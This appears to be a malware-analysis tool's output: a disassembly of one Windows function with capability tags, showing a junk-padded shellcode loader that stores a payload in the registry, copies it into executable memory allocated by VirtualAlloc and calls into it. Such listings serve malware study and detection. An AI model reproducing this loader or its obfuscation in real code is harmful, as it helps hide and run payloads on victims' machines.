Function at 0x4094a6
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push 0xa58
mov eax, 0x419c3d
call fcn.0040c3ab
mov dword [ebp - 0x18], ecx
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1e
pop edi
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
mov eax, dword [ebp + 8]
cmp byte [eax], 0xc9
je 0x40a280
push edi
call esi
cmp dword [ebp + 0xc], 0x65
jne 0x409dff
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
lea eax, [ebp + 0xc]
push eax
push 0x20019
push 0
push str.Console0
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x409726
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp + 8]
mov ecx, 0x421d1c
inc eax
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x409755
test dx, dx
je 0x409751
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x409755
add eax, 4
add ecx, 4
test dx, dx
jne 0x40972f
xor eax, eax
jmp 0x40975a
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x409dac
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
cmp dword [0x422554], 0
je 0x4099a4
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
mov dword [ebp - 4], 2
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
mov dword [ebp - 0x1c], 0x11
push 0x41cae0
lea eax, [ebp - 0x1c]
push eax
call fcn.0040c43d
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1e
pop edi
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x8000
push 0
push dword [0x422554]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
and dword [0x422554], 0
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
or dword [ebp - 4], 0xffffffff
mov eax, 0x40999b
ret
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2e
mov eax, 0x767b
mov word [ebp - 0xa60], ax
mov eax, 0x5f55
mov word [ebp - 0xa5e], ax
mov eax, 0x6a21
mov word [ebp - 0xa5c], ax
mov eax, 0x5757
mov word [ebp - 0xa5a], ax
pop eax
push 0x64
mov word [ebp - 0xa58], ax
pop eax
push 0x6c
mov word [ebp - 0xa56], ax
pop eax
and dword [ebp - 0xa64], 0
push 0x5f
mov word [ebp - 0xa54], ax
mov word [ebp - 0xa52], ax
pop eax
push 0x62
mov word [ebp - 0xa50], ax
pop eax
push 0x69
mov word [ebp - 0xa4e], ax
pop eax
push 0x6e
mov word [ebp - 0xa4c], ax
pop eax
mov word [ebp - 0xa4a], ax
xor eax, eax
push 0x1e4
push eax
mov word [ebp - 0xa48], ax
lea eax, [ebp - 0xa46]
push eax
call fcn.0040cf80
xor eax, eax
lea edi, [ebp - 0x862]
stosw word es:[edi], ax
xor edi, edi
push 0x64
lea eax, [ebp - 0x858]
push edi
push eax
mov dword [ebp - 0x860], edi
mov dword [ebp - 0x85c], edi
call fcn.0040cf80
push 0x7d0
lea eax, [ebp - 0x7f4]
push edi
push eax
call fcn.0040cf80
xor eax, eax
lea edi, [ebp - 0x24]
add esp, 0x24
stosd dword es:[edi], eax
inc eax
dec ebx
dec eax
inc ebx
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push 0x1e
pop edi
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
push 0xa45
call fcn.0040bf51
pop ecx
mov dword [ebp - 0x14], eax
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
mov eax, dword [ebp - 0x14]
mov byte [eax], 5
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
push 0xa44
lea eax, [ebp - 0xa64]
push eax
mov eax, dword [ebp - 0x14]
inc eax
push eax
call fcn.0040c630
add esp, 0xc
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
mov ecx, dword [ebp - 0x18]
push 0xa45
push dword [ebp - 0x14]
call fcn.0040254b
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push edi
mov dword [ebp - 4], 4
call esi
inc eax
dec ebx
dec eax
inc ebx
mov dword [ebp - 0x20], 0x5c
push 0x41cae0
lea eax, [ebp - 0x20]
jmp 0x409857
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
mov ecx, dword [ebp - 0x18]
call fcn.00409264
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
jmp 0x40a27d
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
mov esi, dword [ebp + 8]
inc esi
mov ecx, 0x291
mov edi, 0x421b10
rep movsd dword es:[edi], dword [esi]
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1e
pop edi
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
push 0x40
push 0x3000
push dword [0x421d18]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x422554], eax
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push dword [0x421d18]
mov eax, dword [ebp + 8]
add eax, 0xa45
push eax
push dword [0x422554]
call fcn.0040c630
add esp, 0xc
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
mov eax, dword [0x421d18]
add eax, 0xa44
mov dword [ebp + 0xc], eax
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
push dword [ebp + 0xc]
call fcn.0040bf51
pop ecx
mov dword [ebp + 0xc], eax
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
cmp dword [ebp + 0xc], 0
je 0x40a1ce
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
mov edi, dword [ebp + 0xc]
mov ecx, 0x291
mov esi, 0x421b10
rep movsd dword es:[edi], dword [esi]
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1e
pop edi
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
push dword [0x421d18]
mov eax, dword [ebp + 0xc]
push dword [0x422554]
add eax, 0xa44
push eax
call fcn.0040c630
add esp, 0xc
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
lea eax, [ebp + 8]
push eax
push str.Console0
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x40a17a
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
push edi
call esi
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1e
pop edi
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
cmp dword [ebp + 0xc], 0
je 0x40a1e4
push dword [ebp + 0xc]
call fcn.0040d14a
pop ecx
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
mov ecx, dword [ebp - 0x18]
call fcn.00409264
inc eax
dec ebx
dec eax
inc ebx
nop
push ebp
pop ebp
nop
push edi
call esi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push edi
call esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1e
pop edi
push edi
call esi
call fcn.0040c41a
ret 8